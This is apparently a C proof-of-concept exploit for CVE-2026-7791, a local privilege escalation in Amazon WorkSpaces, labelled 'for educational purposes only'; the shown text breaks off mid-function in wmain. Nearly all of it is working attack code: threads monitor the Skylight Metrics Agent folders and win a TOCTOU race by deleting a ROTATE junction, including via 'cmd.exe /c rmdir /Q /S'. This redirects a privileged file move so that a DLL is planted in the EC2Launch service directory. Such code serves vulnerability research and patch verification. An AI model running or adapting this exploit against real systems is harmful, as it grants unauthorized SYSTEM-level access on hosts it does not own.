1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
CVE-2026-7791: Privileged by Default
Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write
Author: Ben Zamir
For educational purposes only
License: MIT
*/
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0600
#endif
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
// Define THREAD_PRIORITY_HIGH
#ifndef THREAD_PRIORITY_HIGH
#define THREAD_PRIORITY_HIGH 1
#endif
// Configuration
#define BASE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent"
#define ROTATE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent\\ROTATE"
// The PoC writes a DLL to the EC2Launch service
#define DEFAULT_JUNCTION_TARGET L"C:\\Program Files\\Amazon\\EC2Launch"
#define DEFAULT_FILENAME L"test.dll"
#define BUFFER_SIZE 4096
#define MAX_FILENAME_LEN 260
#define MAX_PATH_LEN 260
// Global filename (set from command-line argument or user input)
wchar_t g_filename[MAX_FILENAME_LEN] = DEFAULT_FILENAME;
// Global junction target path (set from command-line argument)
wchar_t g_junctionTarget[MAX_PATH_LEN] = DEFAULT_JUNCTION_TARGET;
// Atomic flag using Interlocked operations
volatile LONG g_rotateDeleted = 0;
// Function to delete ROTATE junction atomically
bool DeleteRotateJunction(void) {
// Atomic check-and-set: if already deleted, return immediately
LONG expected = 0;
LONG desired = 1;
LONG result = InterlockedCompareExchange(&g_rotateDeleted, desired, expected);
if (result != 0) {
// Already deleted by another thread/event
return false;
}
// We won the race - delete the junction
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Deleting rotate junction\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[!] Target: %s\n", ROTATE_DIR);
wprintf(L"[!] Timing: Target file just appeared, GetArchivedFiles() about to be called\n");
// RemoveDirectoryW
for (int attempt = 0; attempt < 3; attempt++) {
if (RemoveDirectoryW(ROTATE_DIR)) {
// Verify deletion by checking attributes (forces cache refresh)
DWORD attrs = GetFileAttributesW(ROTATE_DIR);
if (attrs == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] Success: ROTATE junction deleted (RemoveDirectoryW, attempt %d)!\n", attempt + 1);
wprintf(L"[+] Deletion verified - GetArchivedFiles() Directory.Exists() will FAIL\n");
wprintf(L"[+] No files will be enumerated or moved to TRANSMITTED\n");
return true;
}
// Junction still exists (race condition - recreated?), try again
if (attempt < 2) {
Sleep(1); // Wait 1ms before retry
}
}
}
// Try DeleteFileW
DWORD error = GetLastError();
if (error == ERROR_DIRECTORY || error == ERROR_FILE_EXISTS) {
if (DeleteFileW(ROTATE_DIR)) {
// Verify deletion
if (GetFileAttributesW(ROTATE_DIR) == INVALID_FILE_ATTRIBUTES) {
wprintf(L"[+] Success: ROTATE junction deleted (DeleteFileW)!\n");
return true;
}
}
}
// Use cmd rmdir (most reliable, but slower - last resort)
wprintf(L"[!] RemoveDirectoryW failed (error: %lu), trying cmd rmdir...\n", error);
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = 0; // Don't inherit handles for faster execution
wchar_t cmdline[512];
swprintf_s(cmdline, 512, L"cmd.exe /c rmdir /Q /S \"%s\"", ROTATE_DIR);
if (CreateProcessW(NULL, cmdline, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 100); // Wait max 100ms (don't block too long)
DWORD exitCode;
if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
wprintf(L"[+] Success: ROTATE junction deleted (cmd rmdir)!\n");
return true;
}
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
wprintf(L"[!] Failed: All methods failed to delete ROTATE junction\n");
// Reset flag to allow retry
InterlockedExchange(&g_rotateDeleted, 0);
return false;
}
// Monitor junction target for file creation
DWORD WINAPI MonitorJunctionTarget(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
g_junctionTarget,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Error: Failed to open junction target directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] Monitoring junction target: %s\n", g_junctionTarget);
wprintf(L"[+] Waiting for %s creation event...\n", g_filename);
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
// Start asynchronous directory change notification
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE, // Watch immediate directory only
FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for file name changes
&bytesReturned,
&overlapped,
NULL
)) {
wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
break;
}
// Wait for change notification
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
// Get result
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
break;
}
// Parse notification
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
// Convert filename to null-terminated wide string
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
// Check if it's our target file
if (_wcsicmp(filename, g_filename) == 0) {
// Check action type - FILE_ACTION_ADDED means file was created
if (pNotify->Action == FILE_ACTION_ADDED) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Critical event: %s created in junction target\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
wprintf(L"[!] File: %s\\%s\n", g_junctionTarget, filename);
wprintf(L"[!] File.Move() JUST completed - ArchiveLogFilesExceptFor() about to finish\n");
wprintf(L"[!] GetArchivedFiles() will be called IMMEDIATELY after\n");
wprintf(L"[!] DELETING JUNCTION NOW to prevent Directory.Exists() from succeeding!\n");
// CRITICAL: Delete ROTATE junction IMMEDIATELY - no delays
DeleteRotateJunction();
}
}
// Move to next notification
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
// Reset event for next notification
ResetEvent(overlapped.hEvent);
} else {
wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// Monitor Current directory for enumeration start
DWORD WINAPI MonitorCurrentDirectoryEnumeration(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
BASE_DIR,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] Monitoring Current directory for enumeration start\n");
wprintf(L"[+] Delete junction when ArchiveLogFilesExceptFor() begins\n");
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
// Monitor for directory access (enumeration)
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE, // Watch immediate directory only
FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for access and file changes
&bytesReturned,
&overlapped,
NULL
)) {
wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
break;
}
// Wait for change notification
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
// Get result
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
break;
}
// Parse notification
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
// Check if this is directory enumeration
if (pNotify->Action == FILE_ACTION_REMOVED) {
SYSTEMTIME st;
GetSystemTime(&st);
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
// If it's our target file being deleted, ArchiveLogFilesExceptFor() has started
if (_wcsicmp(filename, g_filename) == 0) {
wprintf(L"[%02d:%02d:%02d.%03d] [!] PROACTIVE: ArchiveLogFilesExceptFor() started!\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[!] File deletion detected - enumeration in progress\n");
wprintf(L"[!] Deleting ROTATE junction PROACTIVELY (before GetArchivedFiles() is called)\n");
// Delete junction now, before GetArchivedFiles() is called
DeleteRotateJunction();
}
}
// Move to next notification
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
// Reset event for next notification
ResetEvent(overlapped.hEvent);
} else {
wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// Monitor Current directory for file deletion (logging only - backup detection)
DWORD WINAPI MonitorCurrentDirectory(LPVOID lpParam) {
HANDLE hDir = CreateFileW(
BASE_DIR,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
return 1;
}
wprintf(L"[+] BACKUP: Monitoring Current directory for file deletion (logging)\n");
char buffer[BUFFER_SIZE];
DWORD bytesReturned;
OVERLAPPED overlapped = {0};
overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
while (true) {
if (!ReadDirectoryChangesW(
hDir,
buffer,
BUFFER_SIZE,
FALSE,
FILE_NOTIFY_CHANGE_FILE_NAME,
&bytesReturned,
&overlapped,
NULL
)) {
break;
}
DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
if (waitResult == WAIT_OBJECT_0) {
if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
break;
}
FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
do {
wchar_t filename[MAX_PATH];
int len = pNotify->FileNameLength / sizeof(wchar_t);
wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
filename[len] = L'\0';
if (_wcsicmp(filename, g_filename) == 0) {
if (pNotify->Action == FILE_ACTION_REMOVED ||
pNotify->Action == FILE_ACTION_RENAMED_OLD_NAME) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [*] File DELETED from Current\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
wprintf(L"[*] File: %s\n", filename);
wprintf(L"[*] ArchiveLogFile() started File.Move()\n");
}
}
if (pNotify->NextEntryOffset == 0) {
break;
}
pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
} while (true);
ResetEvent(overlapped.hEvent);
} else {
break;
}
}
CloseHandle(overlapped.hEvent);
CloseHandle(hDir);
return 0;
}
// High-frequency polling fallback - Monitor junction target for file appearance
DWORD WINAPI PollingFallback(LPVOID lpParam) {
wchar_t junctionTargetFile[MAX_PATH];
swprintf_s(junctionTargetFile, MAX_PATH, L"%s\\%s", g_junctionTarget, g_filename);
bool lastExists = false;
// Check initial state
if (GetFileAttributesW(junctionTargetFile) != INVALID_FILE_ATTRIBUTES) {
lastExists = true;
}
wprintf(L"[+] Polling fallback started (checking junction target every 1ms)\n");
while (true) {
Sleep(1); // Check every 1ms for maximum responsiveness
DWORD attrs = GetFileAttributesW(junctionTargetFile);
bool currentExists = (attrs != INVALID_FILE_ATTRIBUTES);
// File appeared in junction target (File.Move() completed)
if (!lastExists && currentExists) {
SYSTEMTIME st;
GetSystemTime(&st);
wprintf(L"[%02d:%02d:%02d.%03d] [!] Polling: %s detected in junction target!\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
wprintf(L"[!] File Move completed - deleting ROTATE junction...\n");
// Try to delete ROTATE junction immediately (if not already deleted)
if (InterlockedCompareExchange(&g_rotateDeleted, 1, 0) == 0) {
if (RemoveDirectoryW(ROTATE_DIR)) {
wprintf(L"[+] Polling: ROTATE junction deleted!\n");
} else {
// Reset flag if deletion failed
InterlockedExchange(&g_rotateDeleted, 0);
DeleteRotateJunction();
}
}
}
lastExists = currentExists;
}
return 0;
}
int wmain(int argc, wchar_t* argv[]) {
wprintf(L"========================================\n");
wprintf(L"CVE-2026-7791: Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write \n");
wprintf(L"========================================\n\n");
// Parse command-line arguments
if (argc > 1) {
// Filename to monitor
if (wcslen(argv[1]) < MAX_FILENAME_LEN) {
wcscpy_s(g_filename, MAX_FILENAME_LEN, argv[1]);
wprintf(L"[+] Using filename from argument: %s\n", g_filename);
} else {
wprintf(L"[!] ERROR: Filename too long (max %d characters)\n", MAX_FILENAME_LEN - 1);
wprintf(L"[!] Using default: %s\n", DEFAULT_FILENAME);
}
// Junction target path (optional)
if (argc > 2) {
if (wcslen(argv[2]) < MAX_PATH_LEN) {
wcscpy_s(g_junctionTarget, MAX_PATH_LEN, argv[2]);
wprintf(L"[+] Using junction target path from argument: %s\n", g_junctionTarget);
} else {
wprintf(L"[!] ERROR: Path too long (max %d characters)\n", MAX_PATH_LEN - 1);
wprintf(L"[!] Using default: %s\n", DEFAULT_JUNCTION_TARGET);
}
} else {
wprintf(L"[*] No junction target path provided, using default: %s\n", DEFAULT_JUNCTION_TARGET);
}
} else {
// No arguments provided - interactive mode
wprintf(L"[*] No arguments provided\n");
wprintf(L"[*] Please enter the filename to monitor:\n");
wprintf(L"[*] > ");
// Read filename from stdin
wchar_t input[MAX_FILENAME_LEN];
if (fgetws(input, MAX_FILENAME_LEN, stdin) != NULL) {
// Remove newline if present
size_t len = wcslen(input);
if (len > 0 && input[len - 1] == L'\n') {
input[len - 1] = L'\0';
}
if (len > 1 && input[len - 2] == L'\r') {
input[len - 2] = L'\0';
}
// Trim whitespace
wchar_t* start = input;
while (*start == L' ' || *start == L'\t') start++;
wchar_t* end = start + wcslen(start) - 1;
|